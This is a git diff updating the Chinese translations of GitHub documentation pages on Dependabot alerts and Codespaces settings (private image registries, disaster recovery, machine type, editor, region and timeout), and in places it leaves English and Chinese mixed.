-Your repository's  {% data variables.product.prodname_dependabot_alerts %} tab lists all open and closed {% data variables.product.prodname_dependabot_alerts %}{% ifversion fpt or ghec or ghes > 3.2 %} and corresponding {% data variables.product.prodname_dependabot_security_updates %}{% endif %}. You can sort the list of alerts by selecting the drop-down menu, and you can click into specific alerts for more details. For more information, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)."
+Your repository's  {% data variables.product.prodname_dependabot_alerts %} tab lists all open and closed {% data variables.product.prodname_dependabot_alerts %}{% ifversion fpt or ghec or ghes > 3.2 %} and corresponding {% data variables.product.prodname_dependabot_security_updates %}{% endif %}. 您可以选择下拉菜单对警报列表进行排序，并且可以单击特定警报以获取更多详细信息。 更多信息请参阅“[关于易受攻击的依赖项的警报](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)”。
 
 {% ifversion fpt or ghec or ghes > 3.2 %}
-You can enable automatic security updates for any repository that uses {% data variables.product.prodname_dependabot_alerts %} and the dependency graph. For more information, see "[About {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates)."
+您可以为使用 {% data variables.product.prodname_dependabot_alerts %} 和依赖关系图的任何仓库启用自动安全更新。 更多信息请参阅“[关于 {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates)“。
 {% endif %}
 
 {% data reusables.repositories.dependency-review %}
 
 {% ifversion fpt or ghec or ghes > 3.2 %}
-## About updates for vulnerable dependencies in your repository
+## 关于仓库中有漏洞的依赖项的更新
 
-{% data variables.product.product_name %} generates {% data variables.product.prodname_dependabot_alerts %} when we detect that your codebase is using dependencies with known vulnerabilities. For repositories where {% data variables.product.prodname_dependabot_security_updates %} are enabled, when {% data variables.product.product_name %} detects a vulnerable dependency in the default branch, {% data variables.product.prodname_dependabot %} creates a pull request to fix it. The pull request will upgrade the dependency to the minimum possible secure version needed to avoid the vulnerability.
+{% data variables.product.product_name %} 在检测到您的代码库正在使用具有已知漏洞的依赖项时会生成 {% data variables.product.prodname_dependabot_alerts %}。 对于启用了 {% data variables.product.prodname_dependabot_security_updates %} 的仓库，当 {% data variables.product.product_name %} 在默认分支中检测到有漏洞的依赖项时，{% data variables.product.prodname_dependabot %} 会创建拉取请求来修复它。 拉取请求会将依赖项升级到避免漏洞所需的最低安全版本。
 {% endif %}
 
-## Viewing and updating vulnerable dependencies
+## 查看和更新有漏洞的依赖项
 
 {% ifversion fpt or ghec or ghes > 3.2 %}
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-security %}
 {% data reusables.repositories.sidebar-dependabot-alerts %}
-1. Click the alert you'd like to view.
-  ![Alert selected in list of alerts](/assets/images/help/graphs/click-alert-in-alerts-list.png)
-1. Review the details of the vulnerability and, if available, the pull request containing the automated security update.
-1. Optionally, if there isn't already a {% data variables.product.prodname_dependabot_security_updates %} update for the alert, to create a pull request to resolve the vulnerability, click **Create {% data variables.product.prodname_dependabot %} security update**.
-  ![Create {% data variables.product.prodname_dependabot %} security update button](/assets/images/help/repository/create-dependabot-security-update-button.png)
-1. When you're ready to update your dependency and resolve the vulnerability, merge the pull request. Each pull request raised by {% data variables.product.prodname_dependabot %} includes information on commands you can use to control {% data variables.product.prodname_dependabot %}. For more information, see "[Managing pull requests for dependency updates](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-pull-requests-for-dependency-updates#managing-dependabot-pull-requests-with-comment-commands)."
-1. Optionally, if the alert is being fixed, if it's incorrect, or located in unused code, select the "Dismiss" drop-down, and click a reason for dismissing the alert.
-   ![Choosing reason for dismissing the alert via the "Dismiss" drop-down](/assets/images/help/repository/dependabot-alert-dismiss-drop-down.png)
+1. 单击您想要查看的警报。 ![在警报列表中选择的警报](/assets/images/help/graphs/click-alert-in-alerts-list.png)
+1. 查看漏洞的详细信息以及包含自动安全更新的拉取请求（如果有）。
+1. （可选）如果还没有针对该警报的 {% data variables.product.prodname_dependabot_security_updates %} 更新，要创建拉取请求以解决该漏洞，请单击 **Create {% data variables.product.prodname_dependabot %} security update（创建 Dependabot 安全更新）**。 ![创建 {% data variables.product.prodname_dependabot %} 安全更新按钮](/assets/images/help/repository/create-dependabot-security-update-button.png)
+1. 当您准备好更新依赖项并解决漏洞时，合并拉取请求。 {% data variables.product.prodname_dependabot %} 提出的每个拉取请求都包含可用于控制 {% data variables.product.prodname_dependabot %} 的命令的相关信息。 更多信息请参阅“[管理依赖项更新的拉取请求](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/managing-pull-requests-for-dependency-updates#managing-dependabot-pull-requests-with-comment-commands)”。
+1. （可选）如果警报正在修复、不正确或位于未使用的代码中，请选择“Dismiss（忽略）”，然后单击忽略警报的原因。 ![选择通过 "Dismiss（忽略）"下拉菜单忽略警报的原因](/assets/images/help/repository/dependabot-alert-dismiss-drop-down.png)
 
 {% elsif ghes > 3.0 or ghae-issue-4864 %}
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-security %}
 {% data reusables.repositories.sidebar-dependabot-alerts %}
-1. Click the alert you'd like to view.
-  ![Alert selected in list of alerts](/assets/images/enterprise/graphs/click-alert-in-alerts-list.png)
-1. Review the details of the vulnerability and determine whether or not you need to update the dependency.
-1. When you merge a pull request that updates the manifest or lock file to a secure version of the dependency, this will resolve the alert. Alternatively, if you decide not to update the dependency, select the **Dismiss** drop-down, and click a reason for dismissing the alert.
-   ![Choosing reason for dismissing the alert via the "Dismiss" drop-down](/assets/images/enterprise/repository/dependabot-alert-dismiss-drop-down.png)
+1. 单击您想要查看的警报。 ![在警报列表中选择的警报](/assets/images/enterprise/graphs/click-alert-in-alerts-list.png)
+1. 查看漏洞的详细信息，并确定您是否需要更新依赖项。
+1. 当您合并拉取请求以将清单或锁定文件更新为依赖项的安全版本时，这将解决警报。 或者，如果您决定不更新依赖项，请选择 **Dismiss（忽略）**下拉菜单，并单击忽略警报的原因。 ![选择通过 "Dismiss（忽略）"下拉菜单忽略警报的原因](/assets/images/enterprise/repository/dependabot-alert-dismiss-drop-down.png)
 
 {% else %}
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.accessing-repository-graphs %}
 {% data reusables.repositories.click-dependency-graph %}
-1. Click the version number of the vulnerable dependency to display detailed information.
-  ![Detailed information on the vulnerable dependency](/assets/images/enterprise/3.0/dependabot-alert-info.png)
-1. Review the details of the vulnerability and determine whether or not you need to update the dependency. When you merge a pull request that updates the manifest or lock file to a secure version of the dependency, this will resolve the alert.
-1. The banner at the top of the **Dependencies** tab is displayed until all the vulnerable dependencies are resolved or you dismiss it. Click **Dismiss** in the top right corner of the banner and select a reason for dismissing the alert.
-  ![Dismiss security banner](/assets/images/enterprise/3.0/dependabot-alert-dismiss.png)
+1. 单击有漏洞依赖项的版本号以显示详细信息。 ![关于有漏洞依赖项的详细信息](/assets/images/enterprise/3.0/dependabot-alert-info.png)
+1. 查看漏洞的详细信息，并确定您是否需要更新依赖项。 当您合并拉取请求以将清单或锁定文件更新为依赖项的安全版本时，这将解决警报。
+1. **Dependencies（依赖项）**选项卡顶部的横幅将会显示，直到解决所有漏洞依赖项或者您忽略该横幅。 单击横幅右上角的 **Dismiss（忽略）**并选择忽略警报的原因。 ![忽略安全横幅](/assets/images/enterprise/3.0/dependabot-alert-dismiss.png)
 {% endif %}
 
-## Further reading
+## 延伸阅读
 
-- "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)"{% ifversion fpt or ghec or ghes > 3.2 %}
-- "[Configuring {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-dependabot-security-updates)"{% endif %}
-- "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)"
-- "[Troubleshooting the detection of vulnerable dependencies](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-the-detection-of-vulnerable-dependencies)"{% ifversion fpt or ghec or ghes > 3.2 %}
-- "[Troubleshooting {% data variables.product.prodname_dependabot %} errors](/github/managing-security-vulnerabilities/troubleshooting-dependabot-errors)"{% endif %}
+- "[关于有漏洞依赖项的警报](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)" {% ifversion fpt or ghec or ghes > 3.2 %}
+- "[配置 {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-dependabot-security-updates)"{% endif %}
+- "[管理仓库的安全和分析设置](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)"
+- "[漏洞依赖项检测疑难解答](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/troubleshooting-the-detection-of-vulnerable-dependencies)"{% ifversion fpt or ghec or ghes > 3.2 %}
+- [排除 {% data variables.product.prodname_dependabot %} 错误](/github/managing-security-vulnerabilities/troubleshooting-dependabot-errors)"{% endif %}
diff --git a/translations/zh-CN/content/codespaces/codespaces-reference/allowing-your-codespace-to-access-a-private-image-registry.md b/translations/zh-CN/content/codespaces/codespaces-reference/allowing-your-codespace-to-access-a-private-image-registry.md
index 7130649af7..a508c8e1a8 100644
--- a/translations/zh-CN/content/codespaces/codespaces-reference/allowing-your-codespace-to-access-a-private-image-registry.md
+++ b/translations/zh-CN/content/codespaces/codespaces-reference/allowing-your-codespace-to-access-a-private-image-registry.md
@@ -1,16 +1,16 @@
 ---
-title: Allowing your codespace to access a private image registry
-intro: 'You can use secrets to allow {% data variables.product.prodname_codespaces %} to access a private image registry'
+title: 允许代码空间访问私有映像注册表
+intro: '您可以使用密钥允许 {% data variables.product.prodname_codespaces %} 访问私有映像注册表'
 versions:
   fpt: '*'
   ghec: '*'
 topics:
   - Codespaces
 product: '{% data reusables.gated-features.codespaces %}'
-shortTitle: Private image registry
+shortTitle: 私有映像注册表
 ---
 
-## About private image registries and {% data variables.product.prodname_codespaces %}
+## 关于私人映像注册表和 {% data variables.product.prodname_codespaces %}
 
 A registry is a secure space for storing, managing, and fetching private container images. You may use one to store one or more devcontainers. There are many examples of registries, such as {% data variables.product.prodname_dotcom %} Container Registry, Azure Container Registry, or DockerHub.
 
@@ -32,7 +32,7 @@ By default, when you publish a container image to {% data variables.product.prod
 
 This behavior is controlled by the **Inherit access from repo** option. **Inherit access from repo** is selected by default when publishing via {% data variables.product.prodname_actions %}, but not when publishing directly to {% data variables.product.prodname_dotcom %} Container Registry using a Personal Access Token (PAT).
 
-If the **Inherit access from repo** option was not selected when the image was published, you can manually add the repository to the published container image's access controls. For more information, see "[Configuring a package's access control and visibility](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#inheriting-access-for-a-container-image-from-a-repository)."
+If the **Inherit access from repo** option was not selected when the image was published, you can manually add the repository to the published container image's access controls. 更多信息请参阅“[配置包的访问控制和可见性](/packages/learn-github-packages/configuring-a-packages-access-control-and-visibility#inheriting-access-for-a-container-image-from-a-repository)”。
 
 ### Accessing an image published to the organization a codespace will be launched in
 
@@ -52,21 +52,21 @@ We recommend publishing images via {% data variables.product.prodname_actions %}
 
 ## Accessing images stored in other container registries
 
-If you are accessing a container image from a registry that isn't {% data variables.product.prodname_dotcom %} Container Registry, {% data variables.product.prodname_codespaces %} checks for the presence of three secrets, which define the server name, username, and personal access token (PAT) for a container registry. If these secrets are found, {% data variables.product.prodname_codespaces %} will make the registry available inside your codespace.
+If you are accessing a container image from a registry that isn't {% data variables.product.prodname_dotcom %} Container Registry, {% data variables.product.prodname_codespaces %} checks for the presence of three secrets, which define the server name, username, and personal access token (PAT) for a container registry. 如果找到这些密钥，{% data variables.product.prodname_codespaces %} 将在代码空间中提供注册表。
 
 - `<*>_CONTAINER_REGISTRY_SERVER`
 - `<*>_CONTAINER_REGISTRY_USER`
 - `<*>_CONTAINER_REGISTRY_PASSWORD`
 
-You can store secrets at the user, repository, or organization-level, allowing you to share them securely between different codespaces. When you create a set of secrets for a private image registry, you need to replace the "<*>" in the name with a consistent identifier. For more information, see "[Managing encrypted secrets for your codespaces](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces)" and "[Managing encrypted secrets for your repository and organization for Codespaces](/codespaces/managing-codespaces-for-your-organization/managing-encrypted-secrets-for-your-repository-and-organization-for-codespaces)."
+您可以在用户、仓库或组织级别存储密钥，从而在不同的代码空间之间安全地共享它们。 当您为私有映像注册表创建一组密钥时，您需要用一致的标识符替换名称中的 “<*>”。 更多信息请参阅“[管理代码空间的加密密码](/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces)”和“[管理代码空间的仓库和组织加密密码](/codespaces/managing-codespaces-for-your-organization/managing-encrypted-secrets-for-your-repository-and-organization-for-codespaces)“。
 
-If you are setting the secrets at the user or organization level, make sure to assign those secrets to the repository you'll be creating the codespace in by choosing an access policy from the dropdown list.  
+如果您在用户或组织级别设置机密，请确保将这些机密分配到仓库，您将从下拉列表中选择访问策略来创建代码空间。
 
-![Image registry secret example](/assets/images/help/codespaces/secret-repository-access.png)
+![映像注册表密钥示例](/assets/images/help/codespaces/secret-repository-access.png)
 
-### Example secrets
+### 示例机密
 
-For a private image registry in Azure, you could create the following secrets:
+如果您在 Azure 中拥有私有映像注册表，则可以创建以下机密：
 
 ```
 ACR_CONTAINER_REGISTRY_SERVER = mycompany.azurecr.io
@@ -74,13 +74,13 @@ ACR_CONTAINER_REGISTRY_USER = acr-user-here
 ACR_CONTAINER_REGISTRY_PASSWORD = <PAT>
 ```
 
-For information on common image registries, see "[Common image registry servers](#common-image-registry-servers)." Note that accessing AWS Elastic Container Registry (ECR) is different.
+有关通用映像注册表的信息，请参阅“[通用映像注册表服务器](#common-image-registry-servers)”。 Note that accessing AWS Elastic Container Registry (ECR) is different.
 
-![Image registry secret example](/assets/images/help/settings/codespaces-image-registry-secret-example.png)
+![映像注册表密钥示例](/assets/images/help/settings/codespaces-image-registry-secret-example.png)
 
-Once you've added the secrets, you may need to stop and then start the codespace you are in for the new environment variables to be passed into the container. For more information, see "[Suspending or stopping a codespace](/codespaces/codespaces-reference/using-the-command-palette-in-codespaces#suspending-or-stopping-a-codespace)."
+添加机密后，您可能需要停止并启动您所在的代码空间，以便将新的环境变量传递到容器。 更多信息请参阅“[暂停或停止代码空间](/codespaces/codespaces-reference/using-the-command-palette-in-codespaces#suspending-or-stopping-a-codespace)”。
 
-#### Accessing AWS Elastic Container Registry
+#### 访问 AWS Elastic Container Registry
 
 To access AWS Elastic Container Registry (ECR),  you can provide an AWS access key ID and secret key, and {% data variables.product.prodname_dotcom %}  can retrieve an access token for you and log in on your behalf.
 
@@ -106,9 +106,9 @@ While these secrets can have any name, so long as the `*_CONTAINER_REGISTRY_SERV
 
 For more information, see AWS ECR's "[Private registry authentication documentation](https://docs.aws.amazon.com/AmazonECR/latest/userguide/registry_auth.html)."
 
-### Common image registry servers
+### 通用映像注册表服务器
 
-Some of the common image registry servers are listed below:
+下面列出了一些通用映像注册表服务器：
 
 - [DockerHub](https://docs.docker.com/engine/reference/commandline/info/) - `https://index.docker.io/v1/`
 - [GitHub Container Registry](/packages/working-with-a-github-packages-registry/working-with-the-container-registry) - `ghcr.io`
@@ -118,4 +118,4 @@ Some of the common image registry servers are listed below:
 
 ## Debugging private image registry access
 
-If you are having trouble pulling an image from a private image registry, make sure you are able to run `docker login -u <user> -p <password> <server>`, using the values of the secrets defined above. If login fails, ensure that the login credentials are valid and that you have the apprioriate permissions on the server to fetch a container image. If login succeeds, make sure that these values are copied appropriately into the right {% data variables.product.prodname_codespaces %} secrets, either at the user, repository, or organization level and try again.
\ No newline at end of file
+If you are having trouble pulling an image from a private image registry, make sure you are able to run `docker login -u <user> -p <password> <server>`, using the values of the secrets defined above. If login fails, ensure that the login credentials are valid and that you have the apprioriate permissions on the server to fetch a container image. If login succeeds, make sure that these values are copied appropriately into the right {% data variables.product.prodname_codespaces %} secrets, either at the user, repository, or organization level and try again.
diff --git a/translations/zh-CN/content/codespaces/codespaces-reference/disaster-recovery-for-codespaces.md b/translations/zh-CN/content/codespaces/codespaces-reference/disaster-recovery-for-codespaces.md
index 71bac5b61d..4ac86c246a 100644
--- a/translations/zh-CN/content/codespaces/codespaces-reference/disaster-recovery-for-codespaces.md
+++ b/translations/zh-CN/content/codespaces/codespaces-reference/disaster-recovery-for-codespaces.md
@@ -1,6 +1,6 @@
 ---
-title: Disaster recovery for Codespaces
-intro: 'This article describes guidance for a disaster recovery scenario, when a whole region experiences an outage due to major natural disaster or widespread service interruption.'
+title: Codespaces 的灾难恢复
+intro: 本文描述了当整个地区因重大自然灾害或大范围服务中断而中断时，灾难恢复情景的指导。
 versions:
   fpt: '*'
   ghec: '*'
@@ -10,42 +10,42 @@ topics:
 shortTitle: Disaster recovery
 ---
 
-We work hard to make sure that {% data variables.product.prodname_codespaces %} is always available to you. However, forces beyond our control sometimes impact the service in ways that can cause unplanned service disruptions.
+我们努力确保您始终能够使用 {% data variables.product.prodname_codespaces %}。 但是，超出我们控制范围的力量有时会以导致计划外服务中断的方式影响服务。
 
-Although disaster recovery scenarios are rare occurrences, we recommend that you prepare for the possibility that there is an outage of an entire region. If an entire region experiences a service disruption, the locally redundant copies of your data would be temporarily unavailable.
+虽然灾难恢复情况很少发生，但我们建议您为整个区域出现中断的可能性做好准备。 如果整个区域遇到服务中断，则数据的本地冗余副本将暂时不可用。
 
-The following guidance provides options on how to handle service disruption to the entire region where your codespace is deployed.
+以下指南提供了如何处理部署代码空间的整个区域的服务中断的选项。
 
 {% note %}
 
-**Note:** You can reduce the potential impact of service-wide outages by pushing to remote repositories frequently.
+**注意：** 您可以通过频繁推送到远程仓库来减少服务中断的潜在影响。
 
 {% endnote %}
 
 ## Option 1: Create a new codespace in another region
 
-In the case of a regional outage, we suggest you recreate your codespace in an unaffected region to continue working. This new codespace will have all of the changes as of your last push to {% data variables.product.prodname_dotcom %}. For information on manually setting another region, see "[Setting your default region for Codespaces](/codespaces/managing-your-codespaces/setting-your-default-region-for-codespaces)."
+In the case of a regional outage, we suggest you recreate your codespace in an unaffected region to continue working. 此新代码将包含您上次推送到 {% data variables.product.prodname_dotcom %} 后的所有更改。 For information on manually setting another region, see "[Setting your default region for Codespaces](/codespaces/managing-your-codespaces/setting-your-default-region-for-codespaces)."
 
 You can optimize recovery time by configuring a `devcontainer.json` in the project's repository, which allows you to define the tools, runtimes, frameworks, editor settings, extensions, and other configuration necessary to restore the development environment automatically. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project)."
 
-## Option 2: Wait for recovery
+## 选项 2：等待恢复
 
-In this case, no action on your part is required. Know that we are working diligently to restore service availability. 
+在这种情况下，不需要您采取任何行动。 要知道，我们正在努力恢复服务可用性。
 
 You can check the current service status on the [Status Dashboard](https://www.githubstatus.com/).
 
-## Option 3: Clone the repository locally or edit in the browser
+## 选项 3：本地克隆仓库或在浏览器中编辑
 
-While {% data variables.product.prodname_codespaces %} provides the benefit of a pre-configured developer environmnent, your source code should always be accessible through the repository hosted on {% data variables.product.prodname_dotcom_the_website %}. In the event of a {% data variables.product.prodname_codespaces %} outage, you can still clone the repository locally or edit files in the {% data variables.product.company_short %} browser editor. For more information, see "[Editing files](/repositories/working-with-files/managing-files/editing-files)."
+虽然 {% data variables.product.prodname_codespaces %} 具有预配置的开发者环境的优点，但您的源代码应该始终可以通过 {% data variables.product.prodname_dotcom_the_website %} 托管的仓库访问。 如果发生 {% data variables.product.prodname_codespaces %} 中断，您仍然可以本地克隆存储库或在 {% data variables.product.company_short %} 浏览器编辑器中编辑文件。 For more information, see "[Editing files](/repositories/working-with-files/managing-files/editing-files)."
 
-While this option does not configure a development environment for you, it will allow you to make changes to your source code as needed while you wait for the service disruption to resolve.
+虽然此选项没有为您配置开发环境， 但它允许您在等待服务中断解决时根据需要更改源代码。
 
-## Option 4: Use Remote-Containers and Docker for a local containerized environment
+## 选项 4：对本地容器化环境使用远程容器和 Docker
 
-If your repository has a `devcontainer.json`, consider using the [Remote-Containers extension](https://code.visualstudio.com/docs/remote/containers#_quick-start-open-a-git-repository-or-github-pr-in-an-isolated-container-volume) in Visual Studio Code to build and attach to a local development container for your repository. The setup time for this option will vary depending on your local specifications and the complexity of your dev container setup.
+如果您的存储库具有 `devconconer.json`，请考虑在 Visual Studio Code 中使用[远程容器扩展](https://code.visualstudio.com/docs/remote/containers#_quick-start-open-a-git-repository-or-github-pr-in-an-isolated-container-volume)构建并连接到仓库的本地开发容器。 此选项的设置时间将因您本地规格和开发容器设置的复杂性而异。
 
 {% note %}
 
-**Note:** Be sure your local setup meets the [minimum requirements](https://code.visualstudio.com/docs/remote/containers#_system-requirements) before attempting this option.
+**注意：** 在尝试此选项之前，请确保您的本地设置符合[最低要求](https://code.visualstudio.com/docs/remote/containers#_system-requirements)。
 
 {% endnote %}
diff --git a/translations/zh-CN/content/codespaces/codespaces-reference/understanding-billing-for-codespaces.md b/translations/zh-CN/content/codespaces/codespaces-reference/understanding-billing-for-codespaces.md
index 0221ca867e..83cea7425d 100644
--- a/translations/zh-CN/content/codespaces/codespaces-reference/understanding-billing-for-codespaces.md
+++ b/translations/zh-CN/content/codespaces/codespaces-reference/understanding-billing-for-codespaces.md
@@ -54,3 +54,7 @@ Your codespace will be automatically deleted when you are removed from an organi
 ## Deleting your unused codespaces
 
 You can manually delete your codespaces in https://github.com/codespaces and from within {% data variables.product.prodname_vscode %}. To reduce the size of a codespace, you can manually delete files using the terminal or from within {% data variables.product.prodname_vscode %}.
+
+## 延伸阅读
+
+- "[Managing billing for Codespaces in your organization](/codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization)"
diff --git a/translations/zh-CN/content/codespaces/codespaces-reference/using-the-vs-code-command-palette-in-codespaces.md b/translations/zh-CN/content/codespaces/codespaces-reference/using-the-vs-code-command-palette-in-codespaces.md
index 4587dc6570..becd84f143 100644
--- a/translations/zh-CN/content/codespaces/codespaces-reference/using-the-vs-code-command-palette-in-codespaces.md
+++ b/translations/zh-CN/content/codespaces/codespaces-reference/using-the-vs-code-command-palette-in-codespaces.md
@@ -23,10 +23,10 @@ redirect_from:
 
 You can access the {% data variables.product.prodname_vscode_command_palette %} in a number of ways.
 
-- `Shift + Command + P` (Mac) / `Ctrl + Shift + P` (Windows)。
+- <kbd>Shift</kbd>+<kbd>Command</kbd>+<kbd>P</kbd> (Mac) / <kbd>Ctrl</kbd>+<kbd>Shift</kbd>+<kbd>P</kbd> (Windows/Linux).
 
   请注意，此命令是 Firefox 中保留的键盘快捷键。
-- `F1`
+- <kbd>F1</kbd>
 - 从应用程序菜单点击 **View > Command Palette…（查看命令调色板…）**。
 
   ![应用程序菜单](/assets/images/help/codespaces/codespaces-view-menu.png)
diff --git a/translations/zh-CN/content/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace.md b/translations/zh-CN/content/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace.md
index 34ad12301c..55e5c44c9c 100644
--- a/translations/zh-CN/content/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace.md
+++ b/translations/zh-CN/content/codespaces/customizing-your-codespace/changing-the-machine-type-for-your-codespace.md
@@ -22,12 +22,11 @@ topics:
 
 {% data reusables.codespaces.codespaces-machine-types %}
 
-You can choose a machine type either when you create a codespace or you can change the machine type at any time after you've created a codespace. 
+You can choose a machine type either when you create a codespace or you can change the machine type at any time after you've created a codespace.
 
-For information on choosing a machine type when you create a codespace, see "[Creating a codespace](/codespaces/developing-in-codespaces/creating-a-codespace#creating-a-codespace)." 
-For information on changing the machine type within {% data variables.product.prodname_vscode %}, see "[Using {% data variables.product.prodname_codespaces %} in {% data variables.product.prodname_vscode %}](/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code#changing-the-machine-type-in-visual-studio-code)."
+For information on choosing a machine type when you create a codespace, see "[Creating a codespace](/codespaces/developing-in-codespaces/creating-a-codespace#creating-a-codespace)." For information on changing the machine type within {% data variables.product.prodname_vscode %}, see "[Using {% data variables.product.prodname_codespaces %} in {% data variables.product.prodname_vscode %}](/codespaces/developing-in-codespaces/using-codespaces-in-visual-studio-code#changing-the-machine-type-in-visual-studio-code)."
 
-## Changing the machine type in {% data variables.product.prodname_dotcom %}
+## 在 {% data variables.product.prodname_dotcom %} 中更改机器类型
 
 {% data reusables.codespaces.your-codespaces-procedure-step %}
 
@@ -40,9 +39,13 @@ For information on changing the machine type within {% data variables.product.pr
 
    !['Change machine type' menu option](/assets/images/help/codespaces/change-machine-type-menu-option.png)
 
-1. Choose the required machine type.
+1. If multiple machine types are available for your codespace, choose the type of machine you want to use.
 
-2. Click **Update codespace**. 
+   ![Dialog box showing available machine types to choose](/assets/images/help/codespaces/change-machine-type-choice.png)
+
+   {% data reusables.codespaces.codespaces-machine-type-availability %}
+
+2. Click **Update codespace**.
 
    The change will take effect the next time your codespace restarts.
 
@@ -50,7 +53,7 @@ For information on changing the machine type within {% data variables.product.pr
 
 If you change the machine type of a codespace you are currently using, and you want to apply the changes immediately, you can force the codespace to restart.
 
-1. At the bottom left of your codespace window, click **{% data variables.product.prodname_codespaces %}**. 
+1. At the bottom left of your codespace window, click **{% data variables.product.prodname_codespaces %}**.
 
    ![Click '{% data variables.product.prodname_codespaces %}'](/assets/images/help/codespaces/codespaces-button.png)
 
diff --git a/translations/zh-CN/content/codespaces/customizing-your-codespace/index.md b/translations/zh-CN/content/codespaces/customizing-your-codespace/index.md
index b2649f276e..27710a5ad8 100644
--- a/translations/zh-CN/content/codespaces/customizing-your-codespace/index.md
+++ b/translations/zh-CN/content/codespaces/customizing-your-codespace/index.md
@@ -1,6 +1,6 @@
 ---
 title: Customizing your codespace
-intro: '{% data variables.product.prodname_codespaces %} is a dedicated environment for you. You can configure your repositories with a dev container to define their default Codespaces environment, and personalize your development experience across all of your codespaces with dotfiles and Settings Sync.'
+intro: '{% data variables.product.prodname_codespaces %} 是您专用的环境。 You can configure your repositories with a dev container to define their default Codespaces environment, and personalize your development experience across all of your codespaces with dotfiles and Settings Sync.'
 product: '{% data reusables.gated-features.codespaces %}'
 versions:
   fpt: '*'
@@ -17,4 +17,4 @@ children:
   - /setting-your-timeout-period-for-codespaces
   - /prebuilding-codespaces-for-your-project
 ---
- 
+
diff --git a/translations/zh-CN/content/codespaces/customizing-your-codespace/setting-your-default-editor-for-codespaces.md b/translations/zh-CN/content/codespaces/customizing-your-codespace/setting-your-default-editor-for-codespaces.md
index 9debd30369..08866ab5ee 100644
--- a/translations/zh-CN/content/codespaces/customizing-your-codespace/setting-your-default-editor-for-codespaces.md
+++ b/translations/zh-CN/content/codespaces/customizing-your-codespace/setting-your-default-editor-for-codespaces.md
@@ -20,7 +20,4 @@ If you want to use {% data variables.product.prodname_vscode %} as your default
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.codespaces-tab %}
-1. Under "Editor preference", select the option you want.
-   ![Setting your editor](/assets/images/help/codespaces/select-default-editor.png)
-   If you choose **{% data variables.product.prodname_vscode %}**, {% data variables.product.prodname_codespaces %} will automatically open in the desktop application when you next create a codespace. You may need to allow access to both your browser and {% data variables.product.prodname_vscode %} for it to open successfully.
-   ![Setting your editor](/assets/images/help/codespaces/launch-default-editor.png)
+1. Under "Editor preference", select the option you want. ![Setting your editor](/assets/images/help/codespaces/select-default-editor.png) If you choose **{% data variables.product.prodname_vscode %}**, {% data variables.product.prodname_codespaces %} will automatically open in the desktop application when you next create a codespace. You may need to allow access to both your browser and {% data variables.product.prodname_vscode %} for it to open successfully. ![Setting your editor](/assets/images/help/codespaces/launch-default-editor.png)
diff --git a/translations/zh-CN/content/codespaces/customizing-your-codespace/setting-your-default-region-for-codespaces.md b/translations/zh-CN/content/codespaces/customizing-your-codespace/setting-your-default-region-for-codespaces.md
index cf9127a3d0..507493e27d 100644
--- a/translations/zh-CN/content/codespaces/customizing-your-codespace/setting-your-default-region-for-codespaces.md
+++ b/translations/zh-CN/content/codespaces/customizing-your-codespace/setting-your-default-region-for-codespaces.md
@@ -19,5 +19,4 @@ You can manually select the region that your codespaces will be created in, allo
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.codespaces-tab %}
 1. Under "Region", select the setting you want.
-2. If you chose "Set manually", select your region in the drop-down list.
-   ![Selecting your region](/assets/images/help/codespaces/select-default-region.png)
+2. If you chose "Set manually", select your region in the drop-down list. ![Selecting your region](/assets/images/help/codespaces/select-default-region.png)
diff --git a/translations/zh-CN/content/codespaces/customizing-your-codespace/setting-your-timeout-period-for-codespaces.md b/translations/zh-CN/content/codespaces/customizing-your-codespace/setting-your-timeout-period-for-codespaces.md
index 6df3c42808..b839342db2 100644
--- a/translations/zh-CN/content/codespaces/customizing-your-codespace/setting-your-timeout-period-for-codespaces.md
+++ b/translations/zh-CN/content/codespaces/customizing-your-codespace/setting-your-timeout-period-for-codespaces.md
@@ -18,16 +18,13 @@ A codespace will stop running after a period of inactivity. You can specify the
 
 {% endwarning %}
 
-{% include tool-switcher %}
-
 {% webui %}
 
 ## Setting your default timeout
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.codespaces-tab %}
-1. Under "Default idle timeout", enter the time that you want, then click **Save**. The time must be between 5 minutes and 240 minutes (4 hours).
-   ![Selecting your timeout](/assets/images/help/codespaces/setting-default-timeout.png)
+1. Under "Default idle timeout", enter the time that you want, then click **Save**. The time must be between 5 minutes and 240 minutes (4 hours). ![Selecting your timeout](/assets/images/help/codespaces/setting-default-timeout.png)
 
 {% endwebui %}
 
